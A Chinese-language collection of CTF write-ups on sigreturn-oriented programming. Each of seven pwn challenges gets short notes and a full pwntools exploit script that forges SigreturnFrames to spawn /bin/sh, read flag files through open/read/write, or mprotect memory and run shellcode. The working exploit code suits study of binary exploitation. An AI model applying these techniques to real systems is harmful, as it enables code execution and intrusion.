SROP

参考:
link1
link2

[CISCN 2019华南]PWN3

srop的前置条件,本题都可以找到

保护只开了nx,ida strings里面也是什么也没有
本题关键函数

此处sys_read函数可以将读入的字符串从$rbp-0x10处开始写入栈上,可以将/bin/sh写入方便后续利用,所以payload1可以这样构造
b"/bin/sh\x00"+p64(0)+p64(sys_read)
而随后的sys_write则将$rbp-0x10往后0x30 bytes的数据打印出来,我们可以利用这一点泄露signal frame的stack addr并测算距离/bin/sh字符串偏移,通过已知地址偏移确定/bin/sh字符串具体位置
gdb动调可以找出来偏移为296<=>0x128 (本地调出来这么多能打通,远端就打不通,远端偏移0x118,情况跟本地反着来😅😅😅)
7/18更新:SROP的栈偏移不同系统偏移不同

测出偏移后利用pwntools自带函数SigreturnFrame()开始构造
之后因为前面ret返回vuln起始,需要重新输入溢出,则payload2可以这样构造
b"/bin/sh\x00"+p64(0)+p64(mov_rax_0xf)+p64(syscall)+bytes(sigframe)
随后get shell
exp如下:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./pwn")
# io=remote(b"node3.anna.nssctf.cn",28623)

vuln=0x4004ed
syscall=0x400517
mov_rax_0xf=0x4004da

# gdb.attach(io)
# pause()

payload=p64(vuln)*3
io.send(payload)

stack_addr=u64(io.recv()[0x20:0x28])
print("stack_addr: ",hex(stack_addr))

str_bin_sh=stack_addr-0x118

sigframe=SigreturnFrame()
sigframe.rax=59
sigframe.rdi=str_bin_sh
sigframe.rsi=0
sigframe.rsp=stack_addr
sigframe.rdx=0
sigframe.rip=syscall

payload=b"/bin/sh\x00"+p64(0)+p64(mov_rax_0xf)+p64(syscall)+bytes(sigframe)
io.send(payload)

io.interactive()

360chunqiu2017_smallest

只有一次read_sys,但是直接读到rsp上

需要第一次返回时修改低1字节跳过xor rax,rax命令,使得rax不为0,从而执行write_sys泄露栈地址,第三次时构造read往栈上读,最后构造execve执行即可
注意sleep,不能发太快,发太快远端会炸

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./smallest")
io=remote("node4.buuoj.cn",28027)

main=0x4000b0
syscall=0x4000be

payload=p64(main)*3
io.send(payload)

# gdb.attach(io)
# pause()

io.send(b"\xb3")
stack_addr=u64(io.recv()[0x8:0x10])
# stack_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
print("stack_addr: "+hex(stack_addr))


#read
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=stack_addr
sigframe.rsp=stack_addr
sigframe.rdx=0x400
sigframe.rip=syscall

payload=p64(main)+p64(0)+bytes(sigframe) #八个字节padding,出去信号机制的pop影响
io.send(payload)

sleep(1)  #远端防炸

payload=p64(syscall)+b"a"*7
io.send(payload)

#execve
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_execve
sigframe.rdi=stack_addr+0x190
sigframe.rsp=stack_addr
sigframe.rsi=0
sigframe.rdx=0
sigframe.rip=syscall

payload=p64(main)+p64(0)+bytes(sigframe)
payload=payload.ljust(0x190,b"\x00")+b"/bin/sh\x00"
io.send(payload)

sleep(1)

payload=p64(syscall)+b"a"*7
io.send(payload)

io.interactive()

nepctf_srop

开启沙盒,orw
此题没有syscall;ret的gadget,只有syscall()函数,syscall()函数可以通过控制$rdi来控制$rax

mov     rax, rdi
mov     rdi, rsi
mov     rsi, rdx
mov     rdx, rcx
mov     r10, r8
mov     r8, r9
mov     r9, [rsp+arg_0]
syscall      

只给了一次读入的机会,我们可以通过这一次读入调用read读到bss段实现栈迁移上打orw
orw的实现均由syscall()函数实现
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

io=process("./pwn")
elf=ELF("./pwn")

buf_addr=0x601200
syscall=0x4005B0
pop_rdi=0x400813
flag=buf_addr+0x600

io.recvuntil(b"2023!\n")

#fake stack on bss to read
sigframe=SigreturnFrame()
sigframe.rdi=0 #read 系统调用号
sigframe.rsi=0 #stdin 标准输入
sigframe.rdx=buf_addr #buf
sigframe.rcx=0x800 #size
sigframe.rsp=buf_addr
sigframe.rip=syscall

payload=cyclic(0x38)+p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe)
io.send(payload)


gdb.attach(io)
pause()


#open
sigframe_open=SigreturnFrame()
sigframe_open.rdi=2 #open 系统调用号
sigframe_open.rsi=flag #filename
sigframe_open.rdx=0 
sigframe_open.rcx=0
sigframe_open.rsp=buf_addr+0x200 # top addr
sigframe_open.rip=syscall

payload=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_open)
payload=payload.ljust(0x200,b"a")


#read
sigframe_read=SigreturnFrame()
sigframe_read.rdi=0 #read 系统调用号
sigframe_read.rsi=3 #fd
sigframe_read.rdx=flag+0x100 #buf
sigframe_read.rcx=0x50 #size
sigframe_read.rsp=buf_addr+0x400 # top addr
sigframe_read.rip=syscall

payload+=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_read)
payload=payload.ljust(0x400,b"a")

#write
sigframe_write=SigreturnFrame()
sigframe_write.rdi=1 #write 系统调用号
sigframe_write.rsi=1 #stdout 标准输出
sigframe_write.rdx=flag+0x100 #buf
sigframe_write.rcx=0x50 #size
sigframe_write.rsp=buf_addr+0x600 # top addr
sigframe_write.rip=syscall

payload+=p64(pop_rdi)+p64(0xf)+p64(syscall)+bytes(sigframe_write)
payload=payload.ljust(0x600,b"a")+b"flag.txt\x00"

io.send(payload)


io.interactive()

# Gadgets information
# ============================================================
# 0x000000000040080c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400810 : pop r14 ; pop r15 ; ret
# 0x0000000000400812 : pop r15 ; ret
# 0x000000000040080b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400628 : pop rbp ; ret
# 0x0000000000400813 : pop rdi ; ret
# 0x0000000000400811 : pop rsi ; pop r15 ; ret
# 0x000000000040080d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040056e : ret
# 0x0000000000400798 : ret 0xbe

# Unique gadgets found: 12

rootersctf_2019_srop

给的syscall;leave;retn的gadget
不用leak出栈地址,直接在bss段上伪造栈读入就行了,注意指定$rbp,不然可能卡住
exp:

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./pwn")
io=remote("node4.buuoj.cn",26176)
elf=ELF("./pwn")

pop_syscall=0x401032
syscall_leave_ret=0x401033
buf_addr=0x402200
sh_addr=buf_addr+0x200

io.recvuntil(b"CTF?\n")

sigframe=SigreturnFrame()
sigframe.rax=0
sigframe.rdi=0
sigframe.rsi=buf_addr
sigframe.rdx=0x800
sigframe.rsp=buf_addr
sigframe.rbp=buf_addr
sigframe.rip=syscall_leave_ret

payload=cyclic(0x88)+p64(pop_syscall)+p64(0xf)+bytes(sigframe)
io.send(payload)


# gdb.attach(io)
# pause()


sigframe_exec=SigreturnFrame()
sigframe_exec.rax=59
sigframe_exec.rdi=sh_addr
sigframe_exec.rsi=0
sigframe_exec.rdx=0
sigframe_exec.rsp=buf_addr+0x200
sigframe_exec.rip=syscall_leave_ret

payload=p64(0)+p64(pop_syscall)+p64(0xf)+bytes(sigframe_exec)
payload=payload.ljust(0x200,b"a")+b"/bin/sh\x00"

io.send(payload)

io.interactive()

a.out

整个程序如下

.text:0000000000401000                               ; =============== S U B R O U T I N E =======================================
.text:0000000000401000
.text:0000000000401000
.text:0000000000401000                               ; signed __int64 start()
.text:0000000000401000                               public _start
.text:0000000000401000                               _start proc near                        ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401000                                                                       ; LOAD:0000000000400088↑o
.text:0000000000401000 B8 01 00 00 00                mov     eax, 1
.text:0000000000401005 BF 01 00 00 00                mov     edi, 1                          ; fd
.text:000000000040100A 48 BE 00 20 40 00 00 00 00 00 mov     rsi, offset msg                 ; "Hello Pwn"
.text:0000000000401014 BA 09 00 00 00                mov     edx, 9                          ; count
.text:0000000000401019 0F 05                         syscall                                 ; LINUX - sys_write
.text:000000000040101B B8 00 00 00 00                mov     eax, 0
.text:0000000000401020 48 89 E6                      mov     rsi, rsp                        ; buf
.text:0000000000401023 BF 00 00 00 00                mov     edi, 0                          ; fd
.text:0000000000401028 BA 90 01 00 00                mov     edx, 190h                       ; count
.text:000000000040102D 0F 05                         syscall                                 ; LINUX - sys_read
.text:000000000040102F C3                            retn
.text:000000000040102F
.text:000000000040102F                               _start endp
.text:000000000040102F
.text:0000000000401030                               ; ---------------------------------------------------------------------------
.text:0000000000401030 48 D1 E0                      shl     rax, 1
.text:0000000000401033 C3                            retn
.text:0000000000401033
.text:0000000000401034                               ; ---------------------------------------------------------------------------
.text:0000000000401034 B9 01 00 00 00                mov     ecx, 1
.text:0000000000401039 48 31 C8                      xor     rax, rcx
.text:000000000040103C C3                            retn
.text:000000000040103C
.text:000000000040103D                               ; ---------------------------------------------------------------------------
.text:000000000040103D 48 31 C0                      xor     rax, rax
.text:0000000000401040 C3                            retn
.text:0000000000401040
.text:0000000000401040                               _text ends
.text:0000000000401040

srop,需要手动构造rax的值为0xf触发sigframe
还是老样子伪造栈在bss上打,题目已经给出/bin/sh的地址
exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])

io=process("./a")

syscall_ret=0x40102d
str_sh=0x40200A
ret_wt=0x401014
bss_addr=0x402200
shl_rax=0x401030
xor_1=0x401034 
xor_rax=0x40103D 

gdb.attach(io)
pause()

#read
sigframe=SigreturnFrame()
sigframe.rax=constants.SYS_read
sigframe.rdi=0
sigframe.rsi=bss_addr
sigframe.rdx=0x800
sigframe.rsp=bss_addr
sigframe.rbp=bss_addr
sigframe.rip=syscall_ret

payload=p64(xor_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(syscall_ret)+bytes(sigframe)
io.sendafter(b"Pwn",payload)

sleep(3)


sigframe_exe=SigreturnFrame()
sigframe_exe.rax=constants.SYS_execve
sigframe_exe.rdi=str_sh
sigframe_exe.rsp=bss_addr
sigframe_exe.rbp=bss_addr
sigframe_exe.rsi=0
sigframe_exe.rdx=0
sigframe_exe.rip=syscall_ret

payload=p64(xor_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(shl_rax)+p64(xor_1)+p64(syscall_ret)+bytes(sigframe_exe)
# payload=b"aaaaaqaaaaaaa"
io.sendline(payload)

io.interactive()

0xGame2023_srop:

0x两道题都能用这个打
fake stack打orw

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./srop-revenge")
io=remote("8.130.35.16",55003)
elf=ELF("./srop-revenge")

buf_addr=0x404800
syscall_ret=0x40138b
pop_rax=0x401390
flag=buf_addr+0x450


#fake stack on bss to read
sigframe=SigreturnFrame()
sigframe.rax=0 #read 系统调用号
sigframe.rdi=0 #stdin 标准输入
sigframe.rsi=buf_addr #buf
sigframe.rdx=0x800 #size
sigframe.rsp=buf_addr
sigframe.rip=syscall_ret

payload=cyclic(0x10)+p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe)
io.send(payload)


# gdb.attach(io)
# pause()


#open
sigframe_open=SigreturnFrame()
sigframe_open.rax=2 #open 系统调用号
sigframe_open.rdi=flag #filename
sigframe_open.rsi=0 
sigframe_open.rdx=0
sigframe_open.rsp=buf_addr+0x150 # top addr
sigframe_open.rip=syscall_ret

payload=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_open)
payload=payload.ljust(0x150,b"a")


#read
sigframe_read=SigreturnFrame()
sigframe_read.rax=0 #read 系统调用号
sigframe_read.rdi=3 #fd
sigframe_read.rsi=flag+0x100 #buf
sigframe_read.rdx=0x50 #size
sigframe_read.rsp=buf_addr+0x300 # top addr
sigframe_read.rip=syscall_ret

payload+=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_read)
payload=payload.ljust(0x300,b"a")

#write
sigframe_write=SigreturnFrame()
sigframe_write.rax=1 #write 系统调用号
sigframe_write.rdi=1 #stdout 标准输出
sigframe_write.rsi=flag+0x100 #buf
sigframe_write.rdx=0x50 #size
sigframe_write.rsp=buf_addr+0x450 # top addr
sigframe_write.rip=syscall_ret

payload+=p64(pop_rax)+p64(0xf)+p64(syscall_ret)+bytes(sigframe_write)
payload=payload.ljust(0x450,b"a")+b"flag"

io.send(payload)


io.interactive()

# Gadgets information
# ============================================================
# 0x000000000040080c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000400810 : pop r14 ; pop r15 ; ret
# 0x0000000000400812 : pop r15 ; ret
# 0x000000000040080b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040080f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x0000000000400628 : pop rbp ; ret
# 0x0000000000400813 : pop rdi ; ret
# 0x0000000000400811 : pop rsi ; pop r15 ; ret
# 0x000000000040080d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040056e : ret
# 0x0000000000400798 : ret 0xbe

# Unique gadgets found: 12

htb_sick_rop:

利用read读0xf构造sigreturn,然后mprotect开写权限

from pwn import *
context(log_level='debug',arch='amd64',terminal=['tmux','splitw','-h'])

# io=process("./sick_rop")
io=remote("188.166.175.58",30061)
elf=ELF("./sick_rop")
libc=elf.libc

read_text=0x401040
write_fuc=0x401017
write_text=0x401048
vuln=0x40102e
leave_ret=0x40104d
syscall_ret=0x401014
sc_addr=0x4010f8

# mprotect
sigframe=SigreturnFrame()
sigframe.rax=10  # mprotect
sigframe.rdi=0x401000  # addr
sigframe.rsi=0x1000 # len
sigframe.rdx=0x7 # flag
sigframe.rsp=0x4010f0 # ret to _start
sigframe.rip=syscall_ret

payload=cyclic(0x28)+p64(vuln)+p64(syscall_ret)+bytes(sigframe)
io.send(payload)

# gdb.attach(io)
# pause()

payload=b"a"*0xf
io.send(payload)

shellcode=asm(shellcraft.sh())
payload=cyclic(0x28)+p64(sc_addr)+shellcode
io.send(payload)


io.interactive()

# 0x000000000040104d : leave ; ret
# 0x0000000000401016 : ret
# 0x0000000000401014 : syscall ; ret